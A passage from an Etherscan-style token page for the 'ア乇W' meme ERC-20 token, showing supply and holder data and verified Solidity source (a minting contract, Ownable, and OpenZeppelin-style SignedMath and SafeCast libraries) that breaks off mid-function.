ETH Price: $2,969.70 (-0.69%)
Gas: 6 Gwei

Token

(っ◔◡◔)っ ア乇W (ア乇W)
 

Overview

Max Total Supply

690,690,690 ア乇W

Holders

156

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
dimethyltryptamine.eth
Balance
1,056,010.671857149957351928 ア乇W

Value
$0.00
0x4a2c786651229175407d3a2d405d1998bcf40614
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PewPewPewPewPewPewPewPewPewPewPewPewPewPewPewPewPewPewPewPewPewPewPewPew

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 4 of 4: Token.sol
// SPDX-License-Identifier: MIT


/* 
A pew (/ˈpjuː/) is a long bench seat or enclosed box, 
used for seating members of a congregation or choir in a church, 
synagogue or sometimes a courtroom. 

Occasionally, they are also found in live performance venues 
(such as the Ryman Auditorium in Nashville, which was formerly a church).

Pew Pew Pew
Let's Roll
*/

pragma solidity ^0.8.9;
import "./ERC20.sol";

contract PewPewPewPewPewPewPewPewPewPewPewPewPewPewPewPewPewPewPewPewPewPewPewPew is ERC20 {
    constructor() ERC20(unicode"(っ◔◡◔)っ ア乇W ", unicode"ア乇W") {
        _mint(msg.sender, 690690690 * 10 ** decimals());
    }
}

File 1 of 4: Context.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

File 2 of 4: ERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

import "./IERC20.sol";
import "./Context.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */


/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}

/**
 * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
 * checks.
 *
 * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
 * easily result in undesired exploitation or bugs, since developers usually
 * assume that overflows raise errors. `SafeCast` restores this intuition by
 * reverting the transaction when such an operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeCast {
    /**
     * @dev Value doesn't fit in an uint of `bits` size.
     */
    error SafeCastOverflowedUintDowncast(uint8 bits, uint256 value);

    /**
     * @dev An int value doesn't fit in an uint of `bits` size.
     */
    error SafeCastOverflowedIntToUint(int256 value);

    /**
     * @dev Value doesn't fit in an int of `bits` size.
     */
    error SafeCastOverflowedIntDowncast(uint8 bits, int256 value);

    /**
     * @dev An uint value doesn't fit in an int of `bits` size.
     */
    error SafeCastOverflowedUintToInt(uint256 value);

    /**
     * @dev Returns the downcasted uint248 from uint256, reverting on
     * overflow (when the input is greater than largest uint248).
     *
     * Counterpart to Solidity's `uint248` operator.
     *
     * Requirements:
     *
     * - input must fit into 248 bits
     */
    function toUint248(uint256 value) internal pure returns (uint248) {
        if (value > type(uint248).max) {
            revert SafeCastOverflowedUintDowncast(248, value);
        }
        return uint248(value);
    }

    /**
     * @dev Returns the downcasted uint240 from uint256, reverting on
     * overflow (when the input is greater than largest uint240).
     *
     * Counterpart to Solidity's `uint240` operator.
     *
     * Requirements:
     *
     * - input must fit into 240 bits
     */
    function toUint240(uint256 value) internal pure returns (uint240) {
        if (value > type(uint240).max) {
            revert SafeCastOverflowedUintDowncast(240, value);
        }
        return uint240(value);
    }

    /**
     * @dev Returns the downcasted uint232 from uint256, reverting on
     * overflow (when the input is greater than largest uint232).
     *
     * Counterpart to Solidity's `uint232` operator.
     *
     * Requirements:
     *
     * - input must fit into 232 bits
     */
    function toUint232(uint256 value) internal pure returns (uint232) {
        if (value > type(uint232).max) {
            revert SafeCastOverflowedUintDowncast(232, value);
        }
        return uint232(value);
    }

    /**
     * @dev Returns the downcasted uint224 from uint256, reverting on
     * overflow (when the input is greater than largest uint224).
     *
     * Counterpart to Solidity's `uint224` operator.
     *
     * Requirements:
     *
     * - input must fit into 224 bits
     */
    function toUint224(uint256 value) internal pure returns (uint224) {
        if (value > type(uint224).max) {
            revert SafeCastOverflowedUintDowncast(224, value);
        }
        return uint224(value);
    }

    /**
     * @dev Returns the downcasted uint216 from uint256, reverting on
     * overflow (when the input is greater than largest uint216).
     *
     * Counterpart to Solidity's `uint216` operator.
     *
     * Requirements:
     *
     * - input must fit into 216 bits
     */
    function toUint216(uint256 value) internal pure returns (uint216) {
        if (value > type(uint216).max) {
            revert SafeCastOverflowedUintDowncast(216, value);
        }
        return uint216(value);
    }

    /**
     * @dev Returns the downcasted uint208 from uint256, reverting on
     * overflow (when the input is greater than largest uint208).
     *
     * Counterpart to Solidity's `uint208` operator.
     *
     * Requirements:
     *
     * - input must fit into 208 bits
     */
    function toUint208(uint256 value) internal pure returns (uint208) {
        if (value > type(uint208).max) {
            revert SafeCastOverflowedUintDowncast(208, value);
        }
        return uint208(value);
    }

    /**
     * @dev Returns the downcasted uint200 from uint256, reverting on
     * overflow (when the input is greater than largest uint200).
     *
     * Counterpart to Solidity's `uint200` operator.
     *
     * Requirements:
     *
     * - input must fit into 200 bits
     */
    function toUint200(uint256 value) internal pure returns (uint200) {
        if (value > type(uint200).max) {
            revert SafeCastOverflowedUintDowncast(200, value);
        }
        return uint200(value);
    }

    /**
     * @dev Returns the downcasted uint192 from uint256, reverting on
     * overflow (when the input is greater than largest uint192).
     *
     * Counterpart to Solidity's `uint192` operator.
     *
     * Requirements:
     *
     * - input must fit into 192 bits
     */
    function toUint192(uint256 value) internal pure returns (uint192) {
        if (value > type(uint192).max) {
            revert SafeCastOverflowedUintDowncast(192, value);
        }
        return uint192(value);
    }

    /**
     * @dev Returns the downcasted uint184 from uint256, reverting on
     * overflow (when the input is greater than largest uint184).
     *
     * Counterpart to Solidity's `uint184` operator.
     *
     * Requirements:
     *
     * - input must fit into 184 bits
     */
    function toUint184(uint256 value) internal pure returns (uint184) {
        if (value > type(uint184).max) {
            revert SafeCastOverflowedUintDowncast(184, value);
        }
        return uint184(value);
    }

    /**
     * @dev Returns the downcasted uint176 from uint256, reverting on
     * overflow (when the input is greater than largest uint176).
     *
     * Counterpart to Solidity's `uint176` operator.
     *
     * Requirements:
     *
     * - input must fit into 176 bits
     */
    function toUint176(uint256 value) internal pure returns (uint176) {
        if (value > type(uint176).max) {
            revert SafeCastOverflowedUintDowncast(176, value);
        }
        return uint176(value);
    }

    /**
     * @dev Returns the downcasted uint168 from uint256, reverting on
     * overflow (when the input is greater than largest uint168).
     *
     * Counterpart to Solidity's `uint168` operator.
     *
     * Requirements:
     *
     * - input must fit into 168 bits
     */
    function toUint168(uint256 value) internal pure returns (uint168) {
        if (value > type(uint168).max) {
            revert SafeCastOverflowedUintDowncast(168, value);
        }
        return uint168(value);
    }

    /**
     * @dev Returns the downcasted uint160 from uint256, reverting on
     * overflow (when the input is greater than largest uint160).
     *
     * Counterpart to Solidity's `uint160` operator.
     *
     * Requirements:
     *
     * - input must fit into 160 bits
     */
    function toUint160(uint256 value) internal pure returns (uint160) {
        if (value > type(uint160).max) {
            revert SafeCastOverflowedUintDowncast(160, value);
        }
        return uint160(value);
    }

    /**
     * @dev Returns the downcasted uint152 from uint256, reverting on
     * overflow (when the input is greater than largest uint152).
     *
     * Counterpart to Solidity's `uint152` operator.
     *
     * Requirements:
     *
     * - input must fit into 152 bits
     */
    function toUint152(uint256 value) internal pure returns (uint152) {
        if (value > type(uint152).max) {
            revert SafeCastOverflowedUintDowncast(152, value);
        }
        return uint152(value);
    }

    /**
     * @dev Returns the downcasted uint144 from uint256, reverting on
     * overflow (when the input is greater than largest uint144).
     *
     * Counterpart to Solidity's `uint144` operator.
     *
     * Requirements:
     *
     * - input must fit into 144 bits
     */
    function toUint144(uint256 value) internal pure returns (uint144) {
        if (value > type(uint144).max) {
            revert SafeCastOverflowedUintDowncast(144, value);
        }
        return uint144(value);
    }

    /**
     * @dev Returns the downcasted uint136 from uint256, reverting on
     * overflow (when the input is greater than largest uint136).
     *
     * Counterpart to Solidity's `uint136` operator.
     *
     * Requirements:
     *
     * - input must fit into 136 bits
     */
    function toUint136(uint256 value) internal pure returns (uint136) {
        if (value > type(uint136).max) {
            revert SafeCastOverflowedUintDowncast(136, value);
        }
        return uint136(value);
    }

    /**
     * @dev Returns the downcasted uint128 from uint256, reverting on
     * overflow (when the input is greater than largest uint128).
     *
     * Counterpart to Solidity's `uint128` operator.
     *
     * Requirements:
     *
     * - input must fit into 128 bits
     */
    function toUint128(uint256 value) internal pure returns (uint128) {
        if (value > type(uint128).max) {
            revert SafeCastOverflowedUintDowncast(128, value);
        }
        return uint128(value);
    }

    /**
     * @dev Returns the downcasted uint120 from uint256, reverting on
     * overflow (when the input is greater than largest uint120).
     *
     * Counterpart to Solidity's `uint120` operator.
     *
     * Requirements:
     *
     * - input must fit into 120 bits
     */
    function toUint120(uint256 value) internal pure returns (uint120) {
        if (value > type(uint120).max) {
            revert SafeCastOverflowedUintDowncast(120, value);
        }
        return uint120(value);
    }

    /**
     * @dev Returns the downcasted uint112 from uint256, reverting on
     * overflow (when the input is greater than largest uint112).
     *
     * Counterpart to Solidity's `uint112` operator.
     *
     * Requirements:
     *
     * - input must fit into 112 bits
     */
    function toUint112(uint256 value) internal pure returns (uint112) {
        if (value > type(uint112).max) {
            revert SafeCastOverflowedUintDowncast(112, value);
        }
        return uint112(value);
    }

    /**
     * @dev Returns the downcasted uint104 from uint256, reverting on
     * overflow (when the input is greater than largest uint104).
     *
     * Counterpart to Solidity's `uint104` operator.
     *
     * Requirements:
     *
     * - input must fit into 104 bits
     */
    function toUint104(uint256 value) internal pure returns (uint104) {
        if (value > type(uint104).max) {
            revert SafeCastOverflowedUintDowncast(104, value);
        }
        return uint104(value);
    }

    /**
     * @dev Returns the downcasted uint96 from uint256, reverting on
     * overflow (when the input is greater than largest uint96).
     *
     * Counterpart to Solidity's `uint96` operator.
     *
     * Requirements:
     *
     * - input must fit into 96 bits
     */
    function toUint96(uint256 value) internal pure returns (uint96) {
        if (value > type(uint96).max) {
            revert SafeCastOverflowedUintDowncast(96, value);
        }
        return uint96(value);
    }

    /**
     * @dev Returns the downcasted uint88 from uint256, reverting on
     * overflow (when the input is greater than largest uint88).
     *
     * Counterpart to Solidity's `uint88` operator.
     *
     * Requirements:
     *
     * - input must fit into 88 bits
     */
    function toUint88(uint256 value) internal pure returns (uint88) {
        if (value > type(uint88).max) {
            revert SafeCastOverflowedUintDowncast(88, value);
        }
        return uint88(value);
    }

    /**
     * @dev Returns the downcasted uint80 from uint256, reverting on
     * overflow (when the input is greater than largest uint80).
     *
     * Counterpart to Solidity's `uint80` operator.
     *
     * Requirements:
     *
     * - input must fit into 80 bits
     */
    function toUint80(uint256 value) internal pure returns (uint80) {
        if (value > type(uint80).max) {
            revert SafeCastOverflowedUintDowncast(80, value);
        }
        return uint80(value);
    }

    /**
     * @dev Returns the downcasted uint72 from uint256, reverting on
     * overflow (when the input is greater than largest uint72).
     *
     * Counterpart to Solidity's `uint72` operator.
     *
     * Requirements:
     *
     * - input must fit into 72 bits
     */
    function toUint72(uint256 value) internal pure returns (uint72) {
        if (value > type(uint72).max) {
            revert SafeCastOverflowedUintDowncast(72, value);
        }
        return uint72(value);
    }

    /**
     * @dev Returns the downcasted uint64 from uint256, reverting on
     * overflow (when the input is greater than largest uint64).
     *
     * Counterpart to Solidity's `uint64` operator.
     *
     * Requirements:
     *
     * - input must fit into 64 bits
     */
    function toUint64(uint256 value) internal pure returns (uint64) {
        if (value > type(uint64).max) {
            revert SafeCastOverflowedUintDowncast(64, value);
        }
        return uint64(value);
    }

    /**
     * @dev Returns the downcasted uint56 from uint256, reverting on
     * overflow (when the input is greater than largest uint56).
     *
     * Counterpart to Solidity's `uint56` operator.
     *
     * Requirements:
     *
     * - input must fit into 56 bits
     */
    function toUint56(uint256 value) internal pure returns (uint56) {
        if (value > type(uint56).max) {
            revert SafeCastOverflowedUintDowncast(56, value);
        }
        return uint56(value);
    }

    /**
     * @dev Returns the downcasted uint48 from uint256, reverting on
     * overflow (when the input is greater than largest uint48).
     *
     * Counterpart to Solidity's `uint48` operator.
     *
     * Requirements:
     *
     * - input must fit into 48 bits
     */
    function toUint48(uint256 value) internal pure returns (uint48) {
        if (value > type(uint48).max) {
            revert SafeCastOverflowedUintDowncast(48, value);
        }
        return uint48(value);
    }

    /**
     * @dev Returns the downcasted uint40 from uint256, reverting on
     * overflow (when the input is greater than largest uint40).
     *
     * Counterpart to Solidity's `uint40` operator.
     *
     * Requirements:
     *
     * - input must fit into 40 bits
     */
    function toUint40(uint256 value) internal pure returns (uint40) {
        if (value > type(uint40).max) {
            revert SafeCastOverflowedUintDowncast(40, value);
        }
        return uint40(value);
    }

    /**
     * @dev Returns the downcasted uint32 from uint256, reverting on
     * overflow (when the input is greater than largest uint32).
     *
     * Counterpart to Solidity's `uint32` operator.
     *
     * Requirements:
     *
     * - input must fit into 32 bits
     */
    function toUint32(uint256 value) internal pure returns (uint32) {
        if (value > type(uint32).max) {
            revert SafeCastOverflowedUintDowncast(32, value);
        }
        return uint32(value);
    }

    /**
     * @dev Returns the downcasted uint24 from uint256, reverting on
     * overflow (when the input is greater than largest uint24).
     *
     * Counterpart to Solidity's `uint24` operator.
     *
     * Requirements:
     *
     * - input must fit into 24 bits
     */
    function toUint24(uint256 value) internal pure returns (uint24) {
        if (value > type(uint24).max) {
            revert SafeCastOverflowedUintDowncast(24, value);
        }
        return uint24(value);
    }

    /**
     * @dev Returns the downcasted uint16 from uint256, reverting on
     * overflow (when the input is greater than largest uint16).
     *
     * Counterpart to Solidity's `uint16` operator.
     *
     * Requirements:
     *
     * - input must fit into 16 bits
     */
    function toUint16(uint256 value) internal pure returns (uint16) {
        if (value > type(uint16).max) {
            revert SafeCastOverflowedUintDowncast(16, value);
        }
        return uint16(value);
    }

    /**
     * @dev Returns the downcasted uint8 from uint256, reverting on
     * overflow (when the input is greater than largest uint8).
     *
     * Counterpart to Solidity's `uint8` operator.
     *
     * Requirements:
     *
     * - input must fit into 8 bits
     */
    function toUint8(uint256 value) internal pure returns (uint8) {
        if (value > type(uint8).max) {
            revert SafeCastOverflowedUintDowncast(8, value);
        }
        return uint8(value);
    }

    /**
     * @dev Converts a signed int256 into an unsigned uint256.
     *
     * Requirements:
     *
     * - input must be greater than or equal to 0.
     */
    function toUint256(int256 value) internal pure returns (uint256) {
        if (value < 0) {
            revert SafeCastOverflowedIntToUint(value);
        }
        return uint256(value);
    }

    /**
     * @dev Returns the downcasted int248 from int256, reverting on
     * overflow (when the input is less than smallest int248 or
     * greater than largest int248).
     *
     * Counterpart to Solidity's `int248` operator.
     *
     * Requirements:
     *
     * - input must fit into 248 bits
     */
    function toInt248(int256 value) internal pure returns (int248 downcasted) {
        downcasted = int248(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(248, value);
        }
    }

    /**
     * @dev Returns the downcasted int240 from int256, reverting on
     * overflow (when the input is less than smallest int240 or
     * greater than largest int240).
     *
     * Counterpart to Solidity's `int240` operator.
     *
     * Requirements:
     *
     * - input must fit into 240 bits
     */
    function toInt240(int256 value) internal pure returns (int240 downcasted) {
        downcasted = int240(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(240, value);
        }
    }

    /**
     * @dev Returns the downcasted int232 from int256, reverting on
     * overflow (when the input is less than smallest int232 or
     * greater than largest int232).
     *
     * Counterpart to Solidity's `int232` operator.
     *
     * Requirements:
     *
     * - input must fit into 232 bits
     */
    function toInt232(int256 value) internal pure returns (int232 downcasted) {
        downcasted = int232(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(232, value);
        }
    }

    /**
     * @dev Returns the downcasted int224 from int256, reverting on
     * overflow (when the input is less than smallest int224 or
     * greater than largest int224).
     *
     * Counterpart to Solidity's `int224` operator.
     *
     * Requirements:
     *
     * - input must fit into 224 bits
     */
    function toInt224(int256 value) internal pure returns (int224 downcasted) {
        downcasted = int224(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(224, value);
        }
    }

    /**
     * @dev Returns the downcasted int216 from int256, reverting on
     * overflow (when the input is less than smallest int216 or
     * greater than largest int216).
     *
     * Counterpart to Solidity's `int216` operator.
     *
     * Requirements:
     *
     * - input must fit into 216 bits
     */
    function toInt216(int256 value) internal pure returns (int216 downcasted) {
        downcasted = int216(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(216, value);
        }
    }

    /**
     * @dev Returns the downcasted int208 from int256, reverting on
     * overflow (when the input is less than smallest int208 or
     * greater than largest int208).
     *
     * Counterpart to Solidity's `int208` operator.
     *
     * Requirements:
     *
     * - input must fit into 208 bits
     */
    function toInt208(int256 value) internal pure returns (int208 downcasted) {
        downcasted = int208(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(208, value);
        }
    }

    /**
     * @dev Returns the downcasted int200 from int256, reverting on
     * overflow (when the input is less than smallest int200 or
     * greater than largest int200).
     *
     * Counterpart to Solidity's `int200` operator.
     *
     * Requirements:
     *
     * - input must fit into 200 bits
     */
    function toInt200(int256 value) internal pure returns (int200 downcasted) {
        downcasted = int200(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(200, value);
        }
    }

    /**
     * @dev Returns the downcasted int192 from int256, reverting on
     * overflow (when the input is less than smallest int192 or
     * greater than largest int192).
     *
     * Counterpart to Solidity's `int192` operator.
     *
     * Requirements:
     *
     * - input must fit into 192 bits
     */
    function toInt192(int256 value) internal pure returns (int192 downcasted) {
        downcasted = int192(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(192, value);
        }
    }

    /**
     * @dev Returns the downcasted int184 from int256, reverting on
     * overflow (when the input is less than smallest int184 or
     * greater than largest int184).
     *
     * Counterpart to Solidity's `int184` operator.
     *
     * Requirements:
     *
     * - input must fit into 184 bits
     */
    function toInt184(int256 value) internal pure returns (int184 downcasted) {
        downcasted = int184(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(184, value);
        }
    }

    /**
     * @dev Returns the downcasted int176 from int256, reverting on
     * overflow (when the input is less than smallest int176 or
     * greater than largest int176).
     *
     * Counterpart to Solidity's `int176` operator.
     *
     * Requirements:
     *
     * - input must fit into 176 bits
     */
    function toInt176(int256 value) internal pure returns (int176 downcasted) {
        downcasted = int176(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(176, value);
        }
    }

    /**
     * @dev Returns the downcasted int168 from int256, reverting on
     * overflow (when the input is less than smallest int168 or
     * greater than largest int168).
     *
     * Counterpart to Solidity's `int168` operator.
     *
     * Requirements:
     *
     * - input must fit into 168 bits
     */
    function toInt168(int256 value) internal pure returns (int168 downcasted) {
        downcasted = int168(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(168, value);
        }
    }

    /**
     * @dev Returns the downcasted int160 from int256, reverting on
     * overflow (when the input is less than smallest int160 or
     * greater than largest int160).
     *
     * Counterpart to Solidity's `int160` operator.
     *
     * Requirements:
     *
     * - input must fit into 160 bits
     */
    function toInt160(int256 value) internal pure returns (int160 downcasted) {
        downcasted = int160(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(160, value);
        }
    }

    /**
     * @dev Returns the downcasted int152 from int256, reverting on
     * overflow (when the input is less than smallest int152 or
     * greater than largest int152).
     *
     * Counterpart to Solidity's `int152` operator.
     *
     * Requirements:
     *
     * - input must fit into 152 bits
     */
    function toInt152(int256 value) internal pure returns (int152 downcasted) {
        downcasted = int152(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(152, value);
        }
    }

    /**
     * @dev Returns the downcasted int144 from int256, reverting on
     * overflow (when the input is less than smallest int144 or
     * greater than largest int144).
     *
     * Counterpart to Solidity's `int144` operator.
     *
     * Requirements:
     *
     * - input must fit into 144 bits
     */
    function toInt144(int256 value) internal pure returns (int144 downcasted) {
        downcasted = int144(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(144, value);
        }
    }

    /**
     * @dev Returns the downcasted int136 from int256, reverting on
     * overflow (when the input is less than smallest int136 or
     * greater than largest int136).
     *
     * Counterpart to Solidity's `int136` operator.
     *
     * Requirements:
     *
     * - input must fit into 136 bits
     */
    function toInt136(int256 value) internal pure returns (int136 downcasted) {
        downcasted = int136(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(136, value);
        }
    }

    /**
     * @dev Returns the downcasted int128 from int256, reverting on
     * overflow (when the input is less than smallest int128 or
     * greater than largest int128).
     *
     * Counterpart to Solidity's `int128` operator.
     *
     * Requirements:
     *
     * - input must fit into 128 bits
     */
    function toInt128(int256 value) internal pure returns (int128 downcasted) {
        downcasted = int128(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(128, value);
        }
    }

    /**
     * @dev Returns the downcasted int120 from int256, reverting on
     * overflow (when the input is less than smallest int120 or
     * greater than largest int120).
     *
     * Counterpart to Solidity's `int120` operator.
     *
     * Requirements:
     *
     * - input must fit into 120 bits
     */
    function toInt120(int256 value) internal pure returns (int120 downcasted) {
        downcasted = int120(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(120, value);
        }
    }

    /**
     * @dev Returns the downcasted int112 from int256, reverting on
     * overflow (when the input is less than smallest int112 or
     * greater than largest int112).
     *
     * Counterpart to Solidity's `int112` operator.
     *
     * Requirements:
     *
     * - input must fit into 112 bits
     */
    function toInt112(int256 value) internal pure returns (int112 downcasted) {
        downcasted = int112(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(112, value);
        }
    }

    /**
     * @dev Returns the downcasted int104 from int256, reverting on
     * overflow (when the input is less than smallest int104 or
     * greater than largest int104).
     *
     * Counterpart to Solidity's `int104` operator.
     *
     * Requirements:
     *
     * - input must fit into 104 bits
     */
    function toInt104(int256 value) internal pure returns (int104 downcasted) {
        downcasted = int104(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(104, value);
        }
    }

    /**
     * @dev Returns the downcasted int96 from int256, reverting on
     * overflow (when the input is less than smallest int96 or
     * greater than largest int96).
     *
     * Counterpart to Solidity's `int96` operator.
     *
     * Requirements:
     *
     * - input must fit into 96 bits
     */
    function toInt96(int256 value) internal pure returns (int96 downcasted) {
        downcasted = int96(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(96, value);
        }
    }

    /**
     * @dev Returns the downcasted int88 from int256, reverting on
     * overflow (when the input is less than smallest int88 or
     * greater than largest int88).
     *
     * Counterpart to Solidity's `int88` operator.
     *
     * Requirements:
     *
     * - input must fit into 88 bits
     */
    function toInt88(int256 value) internal pure returns (int88 downcasted) {
        downcasted = int88(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(88, value);
        }
    }

    /**
     * @dev Returns the downcasted int80 from int256, reverting on
     * overflow (when the input is less than smallest int80 or
     * greater than largest int80).
     *
     * Counterpart to Solidity's `int80` operator.
     *
     * Requirements:
     *
     * - input must fit into 80 bits
     */
    function toInt80(int256 value) internal pure returns (int80 downcasted) {
        downcasted = int80(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(80, value);
        }
    }

    /**
     * @dev Returns the downcasted int72 from int256, reverting on
     * overflow (when the input is less than smallest int72 or
     * greater than largest int72).
     *
     * Counterpart to Solidity's `int72` operator.
     *
     * Requirements:
     *
     * - input must fit into 72 bits
     */
    function toInt72(int256 value) internal pure returns (int72 downcasted) {
        downcasted = int72(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(72, value);
        }
    }

    /**
     * @dev Returns the downcasted int64 from int256, reverting on
     * overflow (when the input is less than smallest int64 or
     * greater than largest int64).
     *
     * Counterpart to Solidity's `int64` operator.
     *
     * Requirements:
     *
     * - input must fit into 64 bits
     */
    function toInt64(int256 value) internal pure returns (int64 downcasted) {
        downcasted = int64(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(64, value);
        }
    }

    /**
     * @dev Returns the downcasted int56 from int256, reverting on
     * overflow (when the input is less than smallest int56 or
     * greater than largest int56).
     *
     * Counterpart to Solidity's `int56` operator.
     *
     * Requirements:
     *
     * - input must fit into 56 bits
     */
    function toInt56(int256 value) internal pure returns (int56 downcasted) {
        downcasted = int56(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(56, value);
        }
    }

    /**
     * @dev Returns the downcasted int48 from int256, reverting on
     * overflow (when the input is less than smallest int48 or
     * greater than largest int48).
     *
     * Counterpart to Solidity's `int48` operator.
     *
     * Requirements:
     *
     * - input must fit into 48 bits
     */
    function toInt48(int256 value) internal pure returns (int48 downcasted) {
        downcasted = int48(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(48, value);
        }
    }

    /**
     * @dev Returns the downcasted int40 from int256, reverting on
     * overflow (when the input is less than smallest int40 or
     * greater than largest int40).
     *
     * Counterpart to Solidity's `int40` operator.
     *
     * Requirements:
     *
     * - input must fit into 40 bits
     */
    function toInt40(int256 value) internal pure returns (int40 downcasted) {
        downcasted = int40(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(40, value);
        }
    }

    /**
     * @dev Returns the downcasted int32 from int256, reverting on
     * overflow (when the input is less than smallest int32 or
     * greater than largest int32).
     *
     * Counterpart to Solidity's `int32` operator.
     *
     * Requirements:
     *
     * - input must fit into 32 bits
     */
    function toInt32(int256 value) internal pure returns (int32 downcasted) {
        downcasted = int32(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(32, value);
        }
    }

    /**
     * @dev Returns the downcasted int24 from int256, reverting on
     * overflow (when the input is less than smallest int24 or
     * greater than largest int24).
     *
     * Counterpart to Solidity's `int24` operator.
     *
     * Requirements:
     *
     * - input must fit into 24 bits
     */
    function toInt24(int256 value) internal pure returns (int24 downcasted) {
        downcasted = int24(value);
